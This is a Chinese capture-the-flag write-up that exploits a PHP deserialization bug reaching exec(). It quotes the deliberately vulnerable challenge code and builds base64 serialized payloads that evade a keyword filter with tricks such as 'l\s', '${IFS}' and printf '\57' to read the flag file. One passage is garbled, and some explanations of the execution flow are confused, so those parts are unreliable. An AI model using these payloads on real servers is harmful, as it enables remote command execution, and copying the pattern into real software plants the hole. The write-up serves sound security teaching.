这是题目
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
代码分析:首先可以看到一个疑似重点函数
1. function ping($ip){
exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
var_dump($result); // 展示 $result 的内容
}
看到exec,可以考虑是命令执行漏洞,大概率是采用绕过加命令执行获取flag
2. // __destruct() 当对象销毁时触发
function __destruct(){
// 如果 $this->method 为 ping 则会进入函数调用
if (in_array($this->method, array("ping"))) {
// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
call_user_func_array(array($this, $this->method), $this->args);
}
}
查询文档可知call_user_func_array是一个回调函数,该函数第一个接收的是回调函数,第二个接收的是参数数组。
到这里,我们可以看出基本明确了:需要实例化一个ease对象,其
m
e
t
h
o
d
参数应该是“
p
i
n
g
”
,
因为只有
method参数应该是“ping”,因为只有
method参数应该是“ping”,因为只有this->method 为 ping ,才会调用回调函数,回调函数的第一个变量就是ping函数,第二个参数就是我们构造的要执行的命令。
小结一下:
1.实例化ease对象,method参数是ping;
2.构造命令参数,使其回调ping函数时,执行我们构造的命令;
下面就要思考我们要获取flag需要怎样构造命令了,首先,常规思路肯定是先获取当前目录下的文件列表,所以我们先要构造一个“ls”命令。
所以我们需要实例化对象:
$ctf = new ease('ping', array('ls'));
汇总
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
}
}
function ping($ip){
exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
var_dump($result); // 展示结果 => 考点,命令执行
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){ // 执行 unserialize 调用此方法
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf = new ease('ping', array('ls'));
echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
echo "\n";
// $ctf=@$_POST['ctf'];
// @unserialize(base64_decode($ctf));
?>
执行代码,得到输出
这里输出的结果是ease对象序列化后的内容,
**这时注意:**我们执行代码首先会进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don’t hack,反之则会返回。
我们将要执行的 ls 很明显时会被过滤的,所以要绕过。
我们构造的是ls命令,目的是获取flag所在的位置,ls的绕过方式可以用“l\s”
所以将 $ctf = new ease(‘ping’, array(‘ls’))修改为 $ctf = new ease(‘ping’, array(‘l\s’));再执行
得到这样一个结果:
我们实例化了一个对象,构造了ls命令,所以输出结果应该是包含了flag所在位置的一个序列化ease对象。
把这个对象post到后台:
得到“flag is here”也就是flag的位置,
知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过:
所以需要构造ls flag 1s here 来查看flag:
构造如下
$ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
echo base64_encode(serialize($ctf));
执行
得到序列化对象
post提交得到
至此,我们已经成功获得 Flag 的文件地址: flag_1s_here/flag_831b69012c67b35f.php
最后一次,构造读取该文件的命令如下:
$ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
echo base64_encode(serialize($ctf));
执行得到flag内容的序列化对象:
最后post提交,得到flag:
总结:1.要能读懂代码
2.要知道如何构造命令
3.要会post提交序列化对象到后台
4.执行代码可以在线运行,也可以用VScode
5.post提交数据我用的是hackbar
知识点汇总:
1. function __construct($method, $args) { $this->method = $method; $this->args = $args; }
构造函数:当创建对象时自动调用。
2.function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); }
析构函数:当对象销毁时自动调用
3.
exec($ip, $result);
exec()函数是用于执行系统命令的内置函数。它允许你在PHP脚本中执行命令行操作系统命令,并返回命令执行的结果。
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
5.call_user_func_array(array($this, $this->method), $this->args);
php中的call_user_func_array用来调用回调函数,并且传递一个数组型的参数给这个回调函数,返回值是回调函数的返回值,如果出现错误则返回false。
6.整体流程:创建 ease对象,触发构造函数,脚本执行完毕,触发析构函数,回调ping函数,得到包含执行了对应命令结果的序列化对象,post上传,后台反序列化,调用wake_up函数,过滤命令。